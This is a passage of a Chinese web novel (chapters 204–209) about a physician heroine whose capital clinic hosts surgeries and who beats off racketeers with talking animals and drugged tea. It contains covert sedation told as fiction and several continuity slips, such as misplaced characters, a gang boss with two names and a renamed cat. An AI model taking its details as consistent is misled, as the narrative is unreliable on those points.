卓家得知消息,立即派管家送来贺礼。管家带着两个小厮,抬着一箱珍贵药材来到医馆。然而,这些礼物却被林芷柔婉言谢绝。 她记得卓毅说过,他在卓家地位不高,若非要他撑门面,怕是连命都保不住。她救的是卓毅,不该再收卓家的礼。这份情谊,只在她与卓毅之间。 与此同时,墨香书斋也热闹起来。严明远三天就印好了新话本,还按林芷柔的建议搞起了预售。书局门前的长街上,排起了长长的队伍。 濮馨将二楼布置成雅致的茶室,古色古香的木桌上摆着精致的茶点。窗边放着几盆兰花,淡雅的香气与茶香交织。这样既能品茶,又能看书的去处,在帝都还真是少见。 闺秀们三三两两地坐在茶室里,一边品茗,一边翻阅新到的话本。阳光透过雕花的窗棂洒进来,为这温馨的场景增添了几分诗意。 第二天一早,书局门口就排起了长队。街道上挤满了前来购书的人,有富家公子,也有寻常百姓。话本子不到一个时辰就售罄,连精装版和限量版都被抢购一空。 严明远看着眼前的盛况,不禁感慨万分。他原本只是想开一家普通的书局,没想到因为林芷柔的建议,竟有了如此转机。 街道上,行人来来往往,医馆和书局的故事在他们口中传开,渐渐成为城南一道独特的风景。 严明远望着妻子,眼中满是温柔笑意。窗外的夕阳将最后一缕余晖洒进屋内,为这温馨的场景镀上一层金色。 “明天你去一趟印刷厂吧,再多印制一批话本。”他轻声说道,目光柔和,“有了林大夫的帮衬,这书局定能养活你们母子。” “相公!”濮馨眼眶瞬间泛红,声音哽咽,手指紧紧攥住衣角,“莫要说这等丧气话,林大夫医术通神,定能治好你的。” 屋内陷入短暂的沉默。严明远看着妻子泛红的眼眶,心中一暖。他伸手轻轻拭去妻子眼角的泪水,柔声安慰:“是啊,林大夫医术高明,明日一早便去仁心医馆瞧病。” 濮馨抹了抹眼角,努力挤出一抹笑容:“这几日话本卖得极好,第二批还在印制。”她的声音渐渐恢复了活力,“二楼的生意也好得很,那几样小食每日都卖光,还有人专程来订呢。” “遇上贵人了。”严明远感慨道,目光中闪过一丝感激,“若是病好了,咱们一家子都得记着林大夫的恩情。” 濮馨连连点头,眼中泛着泪光:“早就和儿女们说过了,这份恩情永世不忘。” 夫妻二人相视一笑。这话本子当真是意外之喜,限量版更是供不应求。那些富贵人家的小姐们争相购买,即便比普通版贵了五倍也照样脱销。 第二百零四章 严老板做手术 此时,仁心医馆内。 林芷柔正专注地给温五陈施针。玉针在她手中灵活翻转,准确地刺入穴位。完成施针后,她特意配了一壶药茶。 “温掌柜,这药茶要趁热喝。”她将药茶递给温五陈,“能强身健体,固本培元。” 温五陈接过药茶,闻到一股淡淡的药香。他双手捧着茶碗,脸上写满感激:“多谢林大夫。” 楚幕降临,温五陈回到家中。他将林大夫的药茶分给妻子赵氏一同饮用,因为林大夫特意说明女子也可饮用。 第二天清晨,阳光初升。 仁心医馆门前已经排起长队,大多是城南的百姓。林芷柔正在认真给病人看诊,她开的都是黑色药丸,每次都不忘细心叮嘱服用方法。 “大娘,这药丸一日三次,饭后服用。”她耐心解释,“记得要用温水送服。” 排队的人群中,严明远的身影格外引人注目。他瘦得像竹竿,肚子却大得吓人,这般怪异的身形让人忍不住多看几眼。 但严明远神色坦然,任由旁人打量。他相信只要林大夫能治好他的病,这肚子自然会恢复如常。 自从林芷柔第一天定下规矩,帝都的百姓都很守规矩,自觉排队等候。这几日从苏家传出的消息,更是坐实了林大夫神医的名声。 她开的药与众不同,都是现成的药丸,省去了病人回家熬煮的麻烦。给小孩的药丸还特意加了甜味,让孩子们不再抗拒吃药。 林芷柔见到严明远夫妇到来,让他们先在一旁休息:“你这病需要手术,得等到午后。先歇息会儿,我忙完了就给你治。” “手术是啥?”旁边一位妇人忍不住问道,眼中满是好奇。 濮馨解释道:“就是得把我家相公的肚子给剖开,取出里面的东西,再缝合起来。” “啊?”那妇人脸色瞬间发白,“剖开肚子,那不是要人命吗?”说完便连连摇头,匆匆离开。 周围的人听了这话,都露出不可思议的表情。不过他们都亲眼见证过林大夫的医术,不管是伤风咳嗽还是头疼脑热,看过一两次就能痊愈。 医馆门口,林芷柔挂了几幅卡通画,教导大家要讲究卫生。画上生动形象地展示着饭前便后要洗手,要常换衣裳,喝水要烧开等知识。 许多不识字的百姓看了这些画,都吓了一跳。画中清楚地展示了喝生水会让肚子里长虫的后果,这让他们不寒而栗。 “原来喝生水这么可怕!”一位老婆婆惊呼。 “难怪那位先生肚子那么大,莫非是喝生水喝多了?” “可不敢大意,回去就告诉家里人,水必须得烧开了才能喝。” “我也得赶紧回去,让全家都洗澡换衣裳,少生病才能少花钱。” 林芷柔每半月都要更换一次黑板报。在云州有林巧巧帮忙,她不用这么操心,但在这里只有她一个人,能用的办法都得用上。 严明远夫妇坐在一旁,默默观察着林芷柔忙碌的身影。只见她一边问诊,一边把脉,还要给药,每个环节都认真细致。诊金都是病人自觉放在竹篮里,她却从不查看。 让严明远惊讶的是,病人不但都给足了诊金,有些还会多给几文钱。他仔细观察许久,才明白其中缘由。 林大夫不仅给人看病,还教导大家如何预防疾病,如何保持健康。她的医术精湛,待人和善,这样的大夫,怎能不让人敬重? 正午时分,阳光正好。 林芷柔终于处理完最后一位病人,转身对严明远道:“严掌柜,该给你动手术了。” 她领着严明远夫妇进入内室,那里早已准备妥当。干净的手术台,崭新的手术器械,还有各种药品。 “手术前要先喝一碗药。”林芷柔将一碗深褐色的药递给严明远,“这是醉梦香,能让你在手术时不觉得疼。” 严明远接过药碗,毫不犹豫地一饮而尽。他相信林大夫,也只能相信林大夫。 濮馨站在一旁,紧张得手心冒汗。她看着丈夫躺在手术台上,渐渐闭上眼睛,心中既害怕又期待。 林芷柔戴上口罩,开始认真准备手术。她的动作干净利落,眼神专注而坚定。 手术持续了两个时辰。当最后一针缝合完成时,林芷柔长舒一口气,额头已经布满汗珠。 “手术很成功。”她对焦急等待的濮馨说道,“等他醒来就没事了。” 濮馨终于绷不住了,泪水夺眶而出:“多谢林大夫,多谢林大夫!” 傍晚时分,严明远悠悠转醒。他摸了摸自己的肚子,发现已经不再肿大,整个人轻松了许多。 “相公,你感觉如何?”濮馨连忙问道。 严明远露出欣慰的笑容:“好多了,像是重获新生。” 林芷柔走过来查看伤口:“恢复得不错,但还要注意休养。这几日要按时吃药,不能剧烈运动。” “林大夫,这次真是多亏了你。”严明远由衷感激,“若不是你,我怕是...” “严掌柜不必如此。”林芷柔微笑着打断他的话,“救死扶伤是医者本分。” 楚幕降临,星光点点。 仁心医馆终于迎来一天中最安静的时刻。林芷柔坐在院子里,望着满天繁星,心中充满期待。 她知道,改变不会一蹴而就,但只要持之以恒,总会看到希望。就像今天的手术,虽然辛苦,但能救回一条生命,一切都是值得的。 林芷柔站在医馆的大堂里,望着篮子里零零散散的银钱,嘴角不自觉地勾起一抹浅笑。阳光透过雕花窗棂洒落进来,在地面上投下斑驳的光影。 这些诊金,有多有少,但她从未在意过。开设仁心医馆的初衷,不过是想为这个时代的百姓尽一份心意罢了。帝都的繁华远胜云州,来看病的人大多出手阔绰,不似云州时常有人用鸡鸭蔬菜来抵诊金。 第二百零五章 又一例手术 “小姐,这是今日的账本。”丫鬟青柔捧着一本厚厚的账册走了过来,轻声说道。 林芷柔接过账本随意翻看,目光在某个数字上停留片刻,眉头微蹙:“这位病人只付了一半诊金?” “是的小姐,那是个老人家,说是手头紧张,下月再补上剩下的。”青柔解释道,语气中带着几分怜悯。 “既然如此,就不必再收了。”林芷柔合上账本,将其递还给青柔。 青柔欲言又止:“可是小姐...” “我知道你想说什么。”林芷柔摆摆手,“开这家医馆不是为了赚钱,能帮到需要的人就好。” 正说着,外面传来一阵喧闹声。一个身材魁梧的男子搀扶着一位面色苍白的妇人走了进来,身后跟着几个仆从。 “林大夫可在?我家夫人病得厉害,还请林大夫救救!”男子焦急地说道。 林芷柔快步上前:“我就是林芷柔,请问夫人哪里不适?” “夫人近日总觉腹部胀痛,吃不下饭,整个人都瘦了一圈。”男子说着,又补充道,“在下曹明远,是礼仪司的一名小官。” 林芷柔仔细打量着那位妇人,只见她面色蜡黄,眼窝深陷,明显是病了有段时日。 “先请夫人坐下歇息。”林芷柔吩咐青柔搬来椅子,又端来一杯温水,“曹相公,我需要为夫人把脉诊断。” 曹明远连连点头:“有劳林大夫。” 林芷柔伸手搭在妇人的手腕上,闭目凝神。片刻后,她睁开眼睛,眉头微皱:“夫人腹中似有异物,需要进一步检查。” “异物?”曹明远脸色一变,“那该如何是好?” “我这里有一种特殊的诊断方法。”林芷柔说着,示意青柔准备检查室,“不过在此之前,需要请曹相公喝下一杯药茶。” “我?”曹明远有些疑惑。 “是的。”林芷柔解释道,“这是我独创的"心脉相通"之法,需要夫妻二人同时配合。” 曹明远虽然不太明白,但还是点头答应。青柔很快端来一杯冒着热气的茶水,林芷柔亲自递到他手中。 “请慢用。” 曹明远接过茶杯,仔细闻了闻,一股淡淡的药香飘入鼻腔。他小心抿了一口,觉得味道还算不错,便一饮而尽。 没过多久,他就感觉到一股暖流在体内流淌,整个人变得昏昏欲睡。 “这水...定是加了什么名贵药材。”他迷迷糊糊地想着,“林大夫待病人如此用心,实在难得。” “曹相公,该去检查室了。”林芷柔的声音从远处传来。 检查室内,林芷柔取出一支玉针。房间里光线柔和,窗外传来鸟儿的啁啾声。 “闭上眼睛。”她轻声说道。 待曹明远陷入沉睡,她立刻带着曹夫人进入锦囊。早有准备的萤萤已将手术器械摆放整齐,闪着寒光的刀具按照使用顺序排列在手术车上。 手术灯投下明亮的光芒,林芷柔穿上无菌手术服,戴好手套和口罩。她深吸一口气,示意助手开始手术。 腹腔打开的瞬间,一团巨大的脂肪瘤暴露在眼前。她仔细寻找,发现这瘤子竟生长在肝脏上,与周围组织粘连严重。 “得把这片肝叶一起切除。”她暗自思忖,同时小心翼翼地分离组织。 手术进行得异常顺利,一整盆的脂肪瘤被完整切除。仙露泉发挥神效,创口很快就不再渗血。林芷柔一针一线地缝合伤口,动作轻柔而娴熟。 突然,一道黑影从她眼前掠过,打断了她的思绪。 “青羽,过来。”她头也不抬地喊道。 那只黑鸟在空中盘旋了一圈,这才不情不愿地落在手术室的无影灯上:“又要我送信?” “北方,楚星河。”林芷柔简短地说,手上的动作丝毫不停。 “我就知道!”青羽翻了个白眼,羽毛都竖了起来,“你这是想男人了吧?每次想男人就让我跑腿,我容易吗我!这么远的路,还不给加餐!” 林芷柔瞥了它一眼:“少废话,赶紧去。我让萤萤给你准备了你最爱吃的果子。” “这还差不多。”青羽这才满意地点点头,“不过我警告你啊,下次再让我跑这么远,没有双倍果子别想差遣我!” 林芷柔将信筒绑在青羽腿上,又往它嘴里塞了一颗果子:“路上小心。” “哼!”青羽叼起食物,一溜烟飞走了。 手术结束后,林芷柔带着曹夫人回到检查室,又端着那盆脂肪瘤走了出去。外面早已聚集了不少人,都在焦急地等待消息。 待曹明远醒来后对着他说“曹公,你看,这就是你夫人肚子里的东西。”林芷柔将盆子举到濮馨面前。 曹明远脸色发白,连连后退。一旁的楚星澜更是差点晕过去,赶紧扶住了濮馨。 “别怕,这不过是些多余的组织。”林芷柔安慰道,“手术很成功,你夫人很快就能醒来。我这就去埋了这些东西。” “且慢!”曹明远急忙拦住她,声音还带着些许颤抖,“能不能等我夫人醒来,让她也看看?” 林芷柔点点头:“也好。” 她望着窗外的天空,不知道青羽现在飞到哪里了。那只爱抱怨的鸟儿,总是嘴上不饶人,心里却比谁都明白她的心思。 夕阳的余晖染红了半边天空,医馆里渐渐安静下来。林芷柔站在窗前,看着远处飞过的鸟群,心中泛起一丝涟漪。 青柔轻手轻脚地走了进来:“小姐,曹夫人醒了。” 林芷柔收回思绪,整理了一下衣襟:“我这就去看看。” 检查室里,曹夫人已经坐了起来,神色还有些恍惚。曹明远守在一旁,眼中含着泪水。 “感觉如何?”林芷柔走到床前,仔细查看他的气色。 曹夫人摸了摸腹部,惊讶地说:“竟一点都不疼,反倒觉得身子轻快了许多。” “那就好。”林芷柔笑道,“我开些药,你回去按时服用。一个月后再来复查。” “多谢林大夫!”曹明远夫妇连连道谢。 送走了病人,林芷柔回到自己的房间。夜色已深,院子里传来虫鸣声。她取出一张信纸,提笔蘸墨,却迟迟没有动笔。 “小姐。”青柔端着一盏灯走了进来,“要不要歇息了?” 林芷柔摇摇头:“你先去休息吧,我再坐会儿。” 青柔欲言又止,最终还是轻轻带上了门。 林芷柔望着烛光下摇曳的影子,思绪飘向了远方。不知道那个人收到信后,会作何想? 第二百零六章 历练 林芷柔想让楚星澜学习医术便将木盆放在地上,里面躺着刚刚取出的脂肪瘤。阳光透过窗棂洒进来,照在那团血肉模糊的组织上,泛着一种诡异的光泽。 “有什么好怕的?”她轻笑一声,纤细的手指轻轻拨弄着木盆里的组织,“不过是些无用的赘肉罢了。” 楚星澜站在一旁,双手紧紧攥着衣角。她壮着胆子往前凑了两步,却又忍不住往后缩。那血淋淋的一团看起来确实没什么特别,可就是让人心里发毛。 “澜儿,过来看看。”林芷柔招呼道,“以后你要是想学医,这些都得习惯。” 楚星澜咬着下唇,犹豫了片刻才挪动脚步。她的目光在木盆上掠过,很快又移开:“嫂嫂,我...我还是先不看了。” 正说着,门帘忽然被人粗暴地掀开。两个衣衫不整的男子大摇大摆地走了进来,脚步声在安静的医馆里显得格外刺耳。 一个方脸,一个圆脸,都是一副吊儿郎当的模样。他们身上带着浓重的酒气,走路时东倒西歪,显然是喝了不少。 方脸男人眼神轻蔑地扫视四周,目光在简陋的陈设上一一掠过:“老板呢?刚开业也不知道去拜拜码头,还要兄弟们亲自跑一趟。” 他的声音粗哑难听,说话时还往地上吐了口痰。 圆脸的目光落在木盆上,看清里面的东西后,脸色瞬间变得惨白。他结结巴巴地扯了扯同伴的衣袖:“大...大哥...” 林芷柔从内室走出,冷冷地看着两人。她今日穿了件淡青色的长衫,衬得肤色愈发白皙。但此刻她的眼神,却比寒冬腊月的风还要冷。 “拜码头?”她的声音不疾不徐,“说说看,要拜什么码头?” 方脸男人上下打量着林芷柔纤细的身形,眼中闪过一丝轻佻。他不屑地撇了撇嘴,露出一口发黄的牙齿:“我们虎威帮何爷的码头。这铺子原主人的规矩都办过了,现在轮到你了。” “吕奋扬?”林芷柔唇角勾起一抹冷笑,语气中带着几分讥讽,“要是我不去拜呢?” 圆脸男人缩在方脸身后,外强中干地叫喊:“那就别怪我们不客气!这一片都是吕爷说了算!不想关门的,就得按规矩来!” 他说这话时声音很大,似乎是在给自己壮胆。但眼神却不停地往木盆那边瞟,显然是被里面的东西吓到了。 林芷柔眸光渐冷,周身的气势也跟着变了。她缓缓开口:“回去跟你们的何爷说,仁心医馆只是个小医馆,挣不了几个钱。但若是有人不识相,我这个大夫,也不是好惹的。” 方脸男人狞笑着撸起袖子,露出手臂上狰狞的刀疤:“看来是不见棺材不掉泪。” 楚星澜吓得眼泪都要掉下来了,小手紧紧抓着林芷柔的衣袖。林芷柔转头看了她一眼,低声说了几句。小姑娘立刻会意,连忙躲进了后院。 肩头的灰羽愤怒地扑腾着翅膀,羽毛都竖了起来:“主人,这些混蛋太嚣张了!” 墨翎已经飞出去找援兵,灰羽则寸步不离地守在林芷柔身边。它虽然体型小,但那双鸟眼里闪烁着凶光,随时准备为主人冲锋陷阵。 方脸男人挥拳袭来,动作看似凶猛,实则破绽百出。灰羽抓准时机,猛地扑向他的面门,尖喙准确地啄在他眼睛上。 “啊!”方脸男人痛呼一声,捂着眼睛后退两步。他的动作顿时慢了半拍,整个人失去了平衡。 林芷柔抓住时机,一记重拳砸在他腹部。这一拳看似轻飘飘的,却暗含巧劲。方脸男人应声倒地,脑袋恰好撞上木盆边缘,发出“咚”的一声闷响。 圆脸男人还没反应过来,就被林芷柔一脚踹翻在地。他摔倒时手肘擦过地面,顿时破了皮。 她踩着方脸男人的背,居高临下地说:“看到这盆东西了吗?这是我刚从病人身上取出来的。你们要不要也试试?我这里还缺几具实验用的身体。” 两个男人看着血淋淋的木盆,又听到这番话,吓得魂飞魄散。他们哪见过这阵仗,平日里欺负的都是些老实巴交的商户。 “不...不要!”圆脸男人哭喊着求饶,声音都变了调,“我们再不敢再来了!” 方脸男人挣扎着爬起来,一边干呕一边往外逃:“何爷!这鬼地方我们不敢来了!” 灰羽在后面追着骂:“就这点胆子还敢来收保护费?一群欺软怕硬的东西!” 林芷柔冷眼看着两人仓皇逃窜的背影,淡淡道:“回去跟你们的何爷说,人不犯我,我不犯人。若是再来找麻烦,后果自负。” 后院的楚星澜目睹了全过程,都惊呆了。她从未见过这样的林芷柔,平日里温柔贤淑的大嫂,此刻竟如此凌厉。 “我嫂嫂也太厉害了!楚星澜竖起大拇指,眼中满是崇拜,“那两个混混被收拾得服服帖帖的。” 楚星澜却若有所思:“嫂嫂从来不会无的放矢。她这么做,一定是有原因的。” 此时,却见林芷柔已经若无其事地收拾起了木盆,仿佛方才什么都没发生过。她的动作依旧从容不迫,连衣角都没有乱。 灰羽落在她肩头,得意洋洋:“主人,咱们这回可真把他们吓惨了!那个圆脸的,裤子都湿了!” 林芷柔轻轻摸了摸灰羽的脑袋:“做得好。”她的声音恢复了往日的温和,但眼底却藏着一丝凌厉。 夜色渐深,医馆里重新恢复了平静。林芷柔站在窗前,看着街上来来往往的行人。她知道,那个吕奋扬不会善罢甘休,一定还会派人来找麻烦。 但无论来什么人,她都不会退缩。这个小小的医馆,是她的底线。她要守护这里,守护那些需要帮助的人。 墨翎飞了回来,在她耳边低语:“主人,我已经打探清楚了。那个吕奋扬在城南一带横行霸道,不少商户都被他欺压。” 林芷柔点点头,眼神愈发坚定。她转身走向药柜,开始整理今天用过的药材。檀香木的气息在空气中缓缓飘散,带来一丝宁静。 楚星澜悄悄凑过来:“嫂嫂,你说他们还会来吗?” “会的。”林芷柔淡淡道,“不过不用怕。有我在。” 小姑娘重重地点头,眼中满是信任。她知道,只要有嫂嫂在,就没什么好害怕的。 第二百零七章 有人砸场子 林芷柔站在医馆门前,目光如炬。晨曦的微光洒在青石板上,映照出几个倒地呻吟的地痞流氓。这是今天新来的一拨地痞。 这些人以为她好欺负,却不知她从不轻易低头。冷风吹过,掀起她墨色长袍的衣角,更添几分凛然之气。 “啊...我的腿...”一个地痞捂着大腿在地上打滚,“你这小子下手也太狠了!” 林芷柔冷眼看着,嘴角勾起一抹讥讽。她的手指轻轻摩挲着腰间的玉针,这些人若是再不识相,她不介意让他们尝尝更厉害的。 “你...你等着!吕爷不会放过你的!”另一个地痞挣扎着爬起来,一瘸一拐地往外逃窜。 就算是魏王亲临,她也绝不会退让半步。这条街上的医馆,是她立足帝都的根基。 “虎威帮?”她轻声自语,眸光闪动。手中的茶盏微微倾斜,热气氤氲中映出她略显疲惫的面容。 温五陈从未提过这些事,看来帝都的水比她想象的还要深。她放下茶盏,指尖在桌面上轻轻叩击,思绪纷乱。 楚星澜从后院匆匆赶来,脚步声急促。 “嫂嫂!”楚星澜一把抓住林芷柔的手臂,上下打量,“您没事吧?我听到外面打斗声...” 楚星澜也紧张地凑上前:“那些人是冲着医馆来的?” 看着两人焦急的模样,林芷柔心头一暖。这段时日在帝都,若非有这两人相助,怕是难以支撑。 楚星澜却皱着眉头没有动:“那些人...会不会再来?” “来就来吧,”林芷柔整理着散乱的医具,“我倒要看看,谁敢在太岁头上动土。” “林大夫,”沈明踱步进来,眉头紧锁,“你没受伤吧?这吕奋扬太不讲理了,明明已经交过一年的银子。” 林芷柔给他倒了杯茶,茶香四溢:“沈大哥,跟我说说这虎威帮是怎么回事?” 沈明接过茶杯,叹了口气:“说来话长。这城南一带,向来是各路帮派的必争之地。前些年还算太平,自从吕奋扬接手虎威帮,就开始四处收保护费。” “那些不肯交钱的呢?” “要么关门,要么...”沈明做了个抹脖子的动作,“虎威帮的人都是亡命之徒,什么事都干得出来。” 林芷柔听完,眼中寒光一闪:“吕奋扬是什么来头?” “他是虎威帮的老大,很少露面,一般都是手下西七出面办事。这西七...”沈明压低声音,“听说以前是个刽子手,手上沾了不少人命。” “西七?”林芷柔冷笑,“有意思。” 沈明放下茶杯,欲言又止:“小兄弟,不如先把银子给了吧,免得...” “不可能。”林芷柔斩钉截铁地打断他的话,“想在我头上作威作福,先问问我答不答应。” 她心中冷笑,魏王逼她入京已是一桩孽债,若在此地再低头,只怕永无翻身之日。这医馆,是她在帝都唯一的立足之地,绝不能让人轻易夺去。 话音未落,外面突然传来一阵此起彼伏的狗吠声。 数十只狗蜂拥而入,毛色各异,体型不一。为首一只黄狗冲到林芷柔面前,呜咽道:“主人,谁敢欺负您?让我们去教训他!” “老九,”林芷柔摸了摸黄狗的头,指尖轻轻梳理着它略显凌乱的毛发,“去盯着西七和吕奋扬,必要时让他们知道厉害。” 沈明目瞪口呆,手中的茶杯差点掉落。他看看林芷柔,又看看那群狗,一时说不出话来。 “小兄弟,这狗...它真能听懂人话?” “当然,这是我的老九,很聪明的。”林芷柔介绍道,“沈大哥,这是自己人。” 黄狗九朝沈明看了一眼,欢快地叫着:“主人,我喜欢这个名字!以后就叫老九了!” 正说着,房顶传来一声清脆的猫叫。 一只通体漆黑的猫儿轻盈落下,优雅地走到林芷柔身边。它金色的眼眸闪着寒光,尾巴高高翘起:“听说有人找主人麻烦?” “玄月,”林芷柔轻声道,“你来得正好。” 黑猫蹭了蹭她的脚踝,眼中闪过一丝狡黠:“主人放心,我已经让兄弟们盯着那些人了。他们往哪儿跑,我们都知道。” 沈明倒吸一口凉气,手脚发软地坐在椅子上。他看着林芷柔,仿佛第一次认识这个年轻的大夫。 “这...这...” “沈大哥别怕,”林芷柔笑道,“它们都是我的朋友。” 夜色渐深,医馆外的街道上行人渐少。林芷柔站在窗前,看着远处的灯火。 老九和玄月已经带着它们的同伴出去了,想必很快就能打探到虎威帮的底细。她轻轻叹了口气,手指无意识地摩挲着窗框。 “嫂嫂,”濮馨端着热汤走来,“您该用晚膳了。” 林芷柔回过神,接过碗:“今天辛苦你了。” “您别这么说,”濮馨红着眼圈,“要不是您救了我弟弟,我们姐弟俩早就...” “过去的事就不提了,”林芷柔打断她,“你去休息吧,明天还要早起。” 待濮馨离开,林芷柔才慢慢品着热汤。魏王的逼迫,虎威帮的威胁,还有那些未知的暗流...她揉了揉太阳穴,感觉头痛欲裂。 楚深人静,医馆的后院传来轻微的响动。林芷柔警觉地站起身,手中玉针已然备好。 “主人,”是老九的声音,“我们回来了。” 林芷柔打开后门,老九和玄月悄无声息地溜了进来。 “查到什么了?” 玄月舔了舔爪子:“吕奋扬今晚在沉月楼设宴,西七也在。他们好像在谈一笔大生意。” “大生意?” “嗯,”老九接话道,“听说和西市的货物有关。主人,那些人说话很谨慎,我们没法靠得太近。” 林芷柔若有所思:“西市...有意思。” “主人要不要我们继续盯着?”玄月问道。 “不急,”林芷柔摸了摸它的下巴,“你们先休息,明天还有事要做。” 送走老九和玄月,林芷柔回到房间。她取出一个小木匣,里面装着几封信件。这是温五陈临走前留给她的,说是关系到帝都各方势力的秘密。 第二百零八章 反击 林芷柔站在医馆门口,望着渐暗的天色,手指无意识地摩挲着腰间的玉佩。夕阳的余晖为青石板路镀上一层淡金,远处传来零星的人声,街道上弥漫着一股若有若无的紧张气氛。 玄猫五迈着优雅的步子走来,尾巴高高翘起。它那双金黄的猫瞳在暮色中格外明亮,映着天边最后一抹霞光。 “怎么样?”林芷柔蹲下身,指尖轻轻抚过玄猫五的背脊。 玄猫五眯起眼睛,发出一声慵懒的呼噜:“都安排妥当了。老九带着姐妹们埋伏在屋顶,墨翎也召集了附近的流浪狗。”它顿了顿,语气中带着几分戏谑,“那些不知天高地厚的家伙,今晚有好戏看了。” 站在一旁的沈明听得浑身发毛。这只黑猫不仅能说人话,连语气神态都像极了人类。他下意识地往后退了一步,额头渗出细密的汗珠。 “林大夫,要不要我留下来帮忙?”沈明犹豫着开口,“那帮人来势汹汹,你一个人...” 林芷柔摇摇头,目光柔和:“沈大哥,你先回去吧。待会儿不管听到什么动静,都别出来。”她的语气轻松,却透着不容置疑的坚定。 “可是...” “放心,我自有分寸。”林芷柔嘴角微扬,眼中闪过一丝狡黠,“再说了,我也不是一个人。” 送走了满脸担忧的沈明,林芷柔转身看向楚星澜:“你也带阳阳回去吧。” 小家伙立刻扑上来抱住她的腿:“娘亲,我不要走!我要留下来帮你打坏人!” 林芷柔蹲下身,与儿子平视。夕阳的余晖映在阳阳稚嫩的小脸上,那双清澈的大眼睛里满是倔强。她心中一软,伸手揉了揉儿子的小脑袋:“乖,听话回家。阿奶一个人在家,需要你去保护她。” “真的吗?”阳阳眨巴着眼睛。 “当然是真的。”林芷柔认真地点点头,“你可是男子汉,要保护好家人。” “那好吧。”阳阳举起小拳头,“娘亲加油!阳阳相信你是最厉害的!” 看着儿子蹦蹦跳跳地跟着楚星澜离开,林芷柔心中涌起一股暖意。她深吸一口气,转身走进医馆,开始布置战场。 医馆里,几只黑猫正蹲在药柜上,尾巴有一下没一下地摆动。屋顶传来轻微的响动,那是老九带领的猫群在就位。林芷柔检查了一遍准备好的药粉,确保万无一失。 天色完全暗下来时,一阵嘈杂的脚步声由远及近。林芷柔站在柜台后,神色平静地看着十几个人鱼贯而入。 为首的是个身材高大的年轻人,一袭湖蓝色长袍,眯着眼睛,怀中抱着一柄长剑。他扫视了一圈医馆,目光最后落在林芷柔身上。 “就是你,不愿意交保护费?”西七冷冷地说,语气中带着几分轻蔑。 林芷柔靠在柜台上,不紧不慢地整理着药材:“我这小医馆,一月也挣不了几个铜板,哪来的钱交保护费?” “呵,不识抬举。”西七眼中闪过一丝狠厉,“今天就让你知道知道,不交保护费的下场。”他身后的人纷纷抽出兵器,一副要大开杀戒的架势。 “是吗?”林芷柔轻笑一声,语气悠然,“老九,老五,该你们出场了。” 西七带来的人顿时哄堂大笑:“喊谁呢?这里除了我们,可没看见什么老九老五。” 话音未落,屋顶突然传来此起彼伏的猫叫声。数十只猫从房梁上跃下,张牙舞爪地扑向那群人。同时,医馆门口的流浪狗们也呲着牙冲了进来。 场面顿时混乱起来。西七的手下被猫狗追得东倒西歪,有的被抓破了脸,有的被咬破了裤腿。他们想用兵器驱赶,却发现这些猫狗灵活异常,根本碰不到。 趁着这个机会,林芷柔从柜台后闪出。她的动作干净利落,一个箭步上前,一记鞭腿扫向西七的下盘。西七慌忙躲闪,却被她抓住破绽,又是一拳击中腹部。 “啊!”西七痛呼一声,手中的长剑都掉在了地上。他没想到这个看起来柔弱的女人,身手竟然如此了得。 林芷柔将长剑踢到一边,冷笑道:“就这点本事,也敢来收保护费?”她的动作行云流水,每一招都精准地击中对方要害。 墨翎在空中盘旋,不时俯冲下来啄西七的脑袋,把他打得抱头鼠窜。玄猫五则指挥着猫群,将西七的手下分割包围,让他们无法组织起有效的反抗。 林芷柔的拳头一下接一下地落在西七身上,每一拳都恰到好处地击中要害。她的动作干净利落,仿佛在进行一场精密的手术,眼神中透着令人心悸的冷静。 “啊!疼...林大夫饶命!”西七蜷缩成一团,发出凄厉的惨叫。他那张平日里趾高气扬的脸此刻已经扭曲变形,额头上的冷汗顺着脸颊滑落。 “饶命?”林芷柔轻笑一声,声音里带着几分讥讽,“你们三番五次找上门来要保护费的时候,可曾想过饶了我这个小大夫?” 话音未落,又是一拳重重砸下。西七只觉得浑身的骨头都要散架了,这种疼痛深入骨髓,让他几乎晕厥过去。他在城南横行多年,还从未遇到过如此难缠的对手。 “林大夫...我错了,真的知道错了...”西七哭喊着求饶,眼泪鼻涕糊了一脸,哪还有平日里的威风。 林芷柔却置若罔闻,继续着她的“惩戒”。她的眼底闪过一丝快意,既然对方要玩,那就陪他们玩个够。 西七挣扎着想要还手,却发现自己的力气仿佛被抽空了一般,连抬手的力气都没有。他困惑地看着自己的手臂,不明白为什么会这样。 “是不是觉得很奇怪?”林芷柔居高临下地看着他,嘴角勾起一抹冷笑,“你们这些人,就是太过自以为是了。” 墨翎站在一旁,看着这一幕,眼中闪过一丝得意。早在西七他们进门之前,她就按照林芷柔的吩咐,在茶水里下了落魂散。 西七带来的那群手下此时也被困住,只能眼睁睁看着他们的老大被揍得不成人形。老九和老五的兄弟姐妹们分布在四周,形成了一道天罗地网。 “大...大哥,咱们该怎么办?”一个小喽啰颤抖着问道。 “还能怎么办?”另一个人苦笑着摇头,“今天这是踢到铁板了。” 林芷柔从锦囊里取出特制的绳索,动作娴熟地将西七捆绑起来。这种独特的绑法让在场的人都看呆了,谁能想到这个看起来文弱的大夫,竟然还有这样的本事。 周围店铺的人都躲在门后偷看,眼中既有惊讶,也有幸灾乐祸。毕竟西七这伙人平日里作威作福,没少欺负他们。 “沈掌柜,你说林大夫能顶得住吕奋扬吗?”有人小声议论。 沈明摇了摇头,眼中满是担忧:“这事怕是没完,吕奋扬那人心狠手辣,不会这么轻易罢休的。” “你们也太小看林大夫了,”沈明媳妇插嘴道,“她既然敢这么做,肯定有所准备。你们没看见刚才那些人连还手的机会都没有吗?” 林芷柔将西七丢在一旁,又挨个处理了其他人。她特意放走了几个,就是要让消息传到吕奋扬耳中。既然对方要玩,那就玩个痛快。 林芷柔站在医馆门口,静静等待着。她知道,真正的较量才刚刚开始。锦囊里储备的各种毒药,是她最大的底牌。没有楚星澜在身边,这些东西就是她最好的保护伞。 墨翎有些担忧地看着她:“柔柔,要不要...” “不用担心,”林芷柔打断了她的话,“我自有分寸。” 第二百零九章 吕奋扬 吕奋扬的后院里,一片莺莺燕燕。 庭院深深,几株老梅傲然挺立,枝头零星点缀着几朵残花。石桌旁围坐着几位姨太太,茶香袅袅中夹杂着压低的谈笑声。 “这日子过得,真是一天不如一天了。”二姨太端着茶盏,眼角微微下垂,语气里带着几分无奈。 三姨太赶忙扯了扯她的衣袖,用眼神示意她噤声。可二姨太像是憋了一肚子的话要说:“你们可知道,老爷最近又从花楼里赎了个人回来?” “嘘!”四姨太慌忙打断,“这种事,少说为妙。” 